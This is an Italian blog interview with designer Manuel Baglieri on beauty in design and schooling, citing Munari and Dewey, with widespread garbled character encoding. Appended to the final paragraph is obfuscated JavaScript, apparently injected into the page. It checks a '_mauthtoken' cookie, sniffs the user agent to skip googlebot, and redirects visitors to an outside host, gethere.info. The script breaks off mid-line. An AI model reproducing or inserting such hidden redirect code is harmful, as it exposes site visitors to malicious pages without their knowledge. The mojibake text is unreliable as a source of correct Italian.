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La bellezza come strumento didattico e di comunicazione. Conversazione con Manuel Baglieri, designer, illustratore e giovane laureando dell’ISIA di Urbino

Manuel Baglieri

Ciao, sono Manuel Baglieri. Ho quasi 29 anni, e da quasi 4 anni lavoro nell’ambito della progettazione di libri e di immagini. Ai??Ma prima di essere un (quasi) professionista (quasi) specializzato in questo ambito, sono uno studente….


Manuel Baglieri

  • mail: manuelbaglieri1@gmail.com,Ai??skype: manuel.baglieri
  • Progetto libri (cartacei o digitali), siti web, immagini aziendali, laboratori didattici per bambini e ragazzi, ed illustrazioni con un occhio sempre rivolto all’inclusivitAi?? e al divertimento. Mi piace scrivere, disegnare, pensare e collaborare (oltre che con altri designer) con docenti, pedagogisti e psicologi per dare forma a prodotti innovativi e di qualitAi??. Ai??Le mie aspirazioni sono diventare autore di albi illustrati per bambini, progettare ambienti educativi e fare l’insegnante.Ai??Qua potete guardare, se vi va, alcuni dei miei lavori, e trovare i contatti Linkedin e G+:
  • http://manuelbaglieri1.wix.com/manuelbaglieri
  • Se vi va di riprogettare insieme qualcosa che vi sembra non funzioni a dovere, oppure di scrivere e illustrare una storia, non esitate a contattarmi!

Che esperienza hai della scuola, Manuel?

Alle elementari ho avuto grossi problemi legati alla frequenza, in pratica non volevo andare a scuola e piangevo tutto il tempo che mi costringevano a starci. I 4 anni di incubo a cui un certo tipo di docenti mi hanno costretto sono finiti quando cambiando scuola per l’ennesima volta, in quinta elementare (fortunatamente avevo ottimi risultati in tutte le materie quindi non ho mai dovuto ripetere) sono capitato con Oriana e Donella, due maestre come tutti i bambini dovrebbero avere. Alle medie ho invece ricevuto una formazione molto severa e tradizionale, che perA? ha avuto i suoi risvolti positivi negli anni di scuola successivi, quando ho scoperto che non sempre severitAi?? e rigore sono sinonimi di rigiditAi?? e obsolescenza. Finito il liceo Artistico, ho frequentato i corsi di laurea prima in Architettura, poi in Storia e Tutela dei Beni Archeologici; in entrambi i casi l’offerta formativa non mi soddisfaceva, per cui ho cominciato a riconsiderare realtAi?? che prima avevo scartato. Sono infine approdato all’ISIA di Firenze, dove ho conosciuto il Design, quello vero, e mi sono potuto ricredere sulla Formazione e il valore educativo di certe esperienze. Durante la tesi del triennio, ho conosciuto Ugo e il suo progetto Education, che ha avuto (ed ha tutt’ora) per me un forte valore sotto molteplici punti di vista.

  • Per i nostri lettori: Ugo, A? Ugo Falace, di Centro Leonardo, l’editore con il quale collaboriamo,pioniere assoluto nella didatticca editoriale dei libri di testo multimediali, interattivi e multicanali.

Manuel la rivolta delle pecore

E dunque sul concetto di Bellezza che cosa ci potresti dire?

Adesso mi sto (finalmente!) laureando in Grafica delle Immagini e Illustrazione presso l’ISIA di Urbino. ai???Diplomandoai??? sarebbe la parola piA? corretta, ma poi sembra che non sia un titolo di livello universitario o equivalente alla laurea, quindi diciamo pure che mi sto laureando.

In quanto designer, ho avuto spesso a che fare con il concetto di Bellezza, applicando e sperimentando le teorie piA? disparate: la bellezza come funzionalitAi??, la bellezza come fine a se stessa, la bellezza della forma, la bellezza del contenuto, la bellezza della purezza, la bellezza come eccesso, la bellezza come estrema sintesi, etc etc etc…

Ho capito quindi che A? davvero difficile definirla in poche parole, praticamente ogni autore, filosofo, storico dell’arte, artista, stilista, designer, casalinga, panettiere o bambino ha espresso un proprio pensiero a riguardo che puA? essere considerato, per certi versi, legittimo e autorevole.

Io comincerei da certi luoghi comuni sulla bellezza: spesso si dice ai???non A? bello ciA? che A? bello, ma A? bello ciA? che piaceai???. Anche Bruno Munari, con uno dei suoi brillanti esempi, ci dice:

ai???Se volete poi sapere qualcosa di piA? sulla bellezza, che cos’A? esattamente, consultate una storia dell’arte e vedrete che ogni epoca ha le sue veneri e che queste veneri (o apolli) messi assieme e confrontati, fuori dalle loro epoche, sono una famiglia di mostri. Non A? bello quello che A? bello, disse il rospo alla rospa, ma A? bello quello che piace.ai???

La bellezza A? quindi soggettiva?

Per qualcuno potrebbe esserlo, ma io personalmente credo di no. Semplicemente, alcuni di noi non riescono a percepirla a causa di tutta una serie di ostacoli e filtri (auto)imposti. Seguendo questa via, A? molto probabile incappare in un surrogato molto insidioso della bellezza, l’espediente a cui tutti ricorriamo nel momento in cui ci sentiamo (o effettivamente siamo) ai???bruttiai???: la seduzione. Come designer o studente, a volte, mi viene chiesto di progettare cose accattivanti, ai???seducentiai???, come se le persone fossero talmente stupide da non riuscire ad apprezzare (e quindi comprare) una cosa bella. Il committente, spesso e volentieri, non A? consapevole del fatto che mi sta automaticamente chiedendo di progettare una cosa brutta che in qualche modo, a suon di occhiolini, ammiccamenti e sgomitate, piaccia al target di riferimento . Lo stesso errore di valutazione viene troppo spesso commesso anche nell’ambito della didattica e della pedagogia: ci si sforza in ogni modo di rendere l’apprendimento un processo artificioso, rigido, ai???bruttoai???.

manuel i cola cola

Quindi la scuola, per definizione A? “brutta”?

Ogni materia scolastica rende automaticamente l’oggetto di studio sgradevole e noioso; tutti noi sappiamo quanto in realtAi?? siano belli gli animali, le piante, i paesi stranieri, le culture altre dalla nostra, la matematica, la fisica, lo spazio, l’universo! Ogni bambino si incanta guardando i documentari, il cielo stellato, una reazione chimica spettacolare, una piantina che cresce dopo aver messo un seme nella terra, e cosAi?? via. Ma ormai A? troppo tardi, siamo giAi?? a scuola da anni: la fisica A? diventata inevitabilmente astrusa, complicata, troppo astratta per essere capita; la chimica A? orrenda, la biologia A? troppo difficile, la storia A? una sfilza di date da imparare a memoria, la poesia A? sdolcinata, la filosofia A? inutile. A questo punto, il docente, nel migliore dei casi, non puA? far altro che ricorrere ad espedienti seduttivi, nella speranza diAi?? ingannare gli studenti e far passare la scuola o la propria disciplina per una cosa ai???bellaai???. Il che, A? un’assurditAi??! Il bambino, come l’adulto, A? naturalmente incline alla curiositAi?? e all’apprendimento; ogni attimo della sua vita A? improntato a queste attivitAi??, delle quali noi perdiamo di vista gli aspetti concreti, realmente vicini ai bisogni primari dei ragazzi, in favore di concetti troppo astratti e lontani al limite dell’inutilitAi??. Citando ancora Munari, ai???ognuno vede ciA? che saai???, e ad un certo punto diventa davvero difficile anche solo riconoscerla, la bellezza, perchAi?? ce la dimentichiamo, non sappiamo piA? com’A? fatta. A forza di costrizioni, snaturamenti e assuefazioni percettive , la bellezza si disperde in questo caos di immagini, parole e stimoli; ci sembra una cosa irraggiungibile, a cui tutti aspirano ma che nessuno avrAi?? mai. Una specie di caccia al tesoro. Ah, che utopia, pensare che un ragazzino possa divertirsi imparando la chimica o la storia!

Sembra un’utopia ma i grandi pedagoghi non hanno mai accettato una scuola brutta e passiva!

Si, per esempio,, John Dewey, e molti altri dopo di lui, parlano di ai???apprendimento naturaleai???, di una pedagogia spontanea, leggera, piacevole e quotidiana come la Natura. Io oserei dire ai???bellaai???.Ai?? Si puA? comprendere quindi che ognuno di noi A? incline alla bellezza, ma tale inclinazione non puA? realizzarsi se se ne offusca l’obiettivo. Pensare la bellezza unicamente come una serie di proporzioni, la rottura di uno schema, un colore, la perfezione o delle labbra gonfie, puA? essere una vera e propria violenza nei confronti della nostra natura di esseri umani, nonchAi?? molto riduttivo.

Si potrebbe allora definire la bellezza come quella cosa che, semplicemente, soddisfa un bisogno primario?

Potrebbe essere quindi la brezza d’estate, un caminetto d’inverno, l’arcobaleno dopo un temporale, un bicchiere d’acqua nel deserto, i soldi per chi A? povero, la compagnia per chi A? solo, un’immagine piena di dettagli per chi ha poca immaginazione, una tela bianca per chi A? fin troppo intellettuale. Mutevole, dinamica, molteplice, versatile, complessa, piA? che soggettiva; quotidiana, a portata di mano e reale, piA? che astratta.

manuel Rudolph

Secondo te che cosaAi??succederebbe se chi progetta la scuola vedesse lo studente come una persona bisognosa anche di bellezza, e si ponesse quindi l’obiettivo di fornirgli gli strumenti per soddisfare questi suoi bisogni primari, tra i quali, per l’appunto, la propensione al bello?

Ed A? proprio a questo punto che per me entra in gioco il Design: attraverso la ricerca e la conoscenza del ai???problemaai???, si cerca di arrivare alla soluzione piA? bella. Il che non significa una lampada cromata, un libro minimal o un abito in pelle di un qualche animale in via di estinzione: la bellezza A? la piA? comune delle qualitAi??, A? normale, dAi?? benessere a chi la guarda, la tocca, la sente, come ho ipotizzato prima, soddisfa un bisogno e ci dAi?? ristoro. Spesso invece ci convinciamo che sia esclusiva, rara, destinata ad una Ai??lite, un privilegio per pochi, ma per come la vedo io, A? tutt’altro. Basta provare a chiedere a bambini ed adulti cosa cambierebbero del proprio corpo, se potessero, come nel simpatico video di iNature Skin Care (link http://inatureskincare.com): gli adulti vorrebbero raddrizzarsi il naso, diminuirsi la fronte, ingrossare il seno o chissAi?? quali altre parti del corpo; i bambini vorrebbero delle ali per volare, una coda da sirena, alcuni addirittura non cambierebbero proprio nulla. Allo stesso modo, la scuola nell’opinione pubblica A? diventata un luogo di sofferenza, di noia, in cui bisogna andare per forza. Inutile o a tratti addirittura dannosa. CiA? a cui penso ogni volta che progetto qualcosa, non A? a come ai???trasmettere un messaggioai??? o a come convincere l’utente di qualcosa inculcandogli la mia idea; il mio sforzo A? rivolto a comprendere cosa sto facendo per poi concretizzarlo nella sua forma piA? bella e spontanea, in modo che risulti naturale da fruire, piacevole, utile.

Un altro bel video A? quello realizzato da uno studente di Chicago di 18 anni, Shea Glover, che ha semplicemente ripreso le reazioni dei propri compagni di scuola alla frase ai???penso che tu sia bello/aai??? (https://www.youtube.com/watch?v=aW8BDgLpZkI).

La scuola, quindi, DEVE essere bella?

Si, e DEVE evitare i meccanismi di seduzione per ovviare alla propria eventuale bruttezza, partendo dal presupposto che ogni bambino, ogni ragazzo e in generale ogni studente non possa trarre altro che piacere, beneficio o addirittura divertimento dall’apprendimento. Per far sAi?? che ciA? avvenga, puA? essere necessario avvalersi di figure professionali, tra cui anche il designer, e tanto buonsenso; troppo spesso infatti questa figura viene associata allo ai???stilistaai??? (che potrei definire, a questo punto, ai???il progettista della seduzioneai???), e di conseguenza considerato un surplus o un qualcosa di esotico, stravagante e molto costoso da utilizzare solo a scopo di marketing. Forse esagero a definire il designer come ai???il progettista del belloai???, ma a me piace pensarla cosAi??, ed A? proprio per questo che sto orientando la mia attivitAi?? e il mio percorso formativo in una direzione pedagogica e scolastica. Poche cose hanno bisogno della Bellezza quanto ne ha bisogno la scuola.

manuel

Potrebbe sembrare una visione ottimistica, a tratti ingenua. Ma, parlandoci chiaro, ha senso affrontare il mondo dell’educazione, i giovani, i bambini, coloro che affidano le loro menti a qualcuno con l’obiettivo di crescere, senza ottimismo e un pizzico di ingenuitAi???

Se devo immaginarmi il contrario di bellezza, mi viene da pensare al cinismo, che reputo la bruttezza nella sua manifestazione piA? potente.

Andando sul concreto, credo che la scuola italiana dovrebbe avvicinarsi alle piA? recenti teorie pedagogiche senza la paura del cambiamento; dovrebbe rivedere il bieco e sterile sistema dei voti che abitua sin dalla tenera etAi?? a preoccuparsi di misure e giudizi prima ancora di ciA? che si sta facendo. Dovrebbe laboratorializzarsi prosciugando un po’ l’oceano di astrazione e nozionismo in cui A? piombata in favore della vita e della bellezza. Dovrebbe considerare lo studente come una creatura meravigliosa, intelligente, curiosa, vivace e piena di opportunitAi??, piuttosto che come un pericolo da arginare in ogni istante. Dovrebbe fornire strumenti per l’autorealizzazione, incentivare e favorire lo spirito critico, il pensiero laterale, la capacitAi?? di ragionare e di risolvere problemi. Mi immagino una scuola in cui docenti e studenti possono crearsi insieme i libri di testo, dove le materie di studio vengono vissute, esperite, e non solo lette. Dove metAi?? della giornata scolastica A? dedicata all’osservazione del mondo, delle persone, della realtAi?? che ci circonda, dell’arte, della bellezza, con disinvoltura e nella maniera piA? coinvolgente possibilesenza che questo venga considerata una ai???perdita di tempoai???. Mi immagino una scuola viva e bella, che fa della bellezza uno strumento didattico normale, quotidiano, che ci aiuta nella comprensione della societAi??, delle persone, del mondo in cui viviamo e dei loro bisogni.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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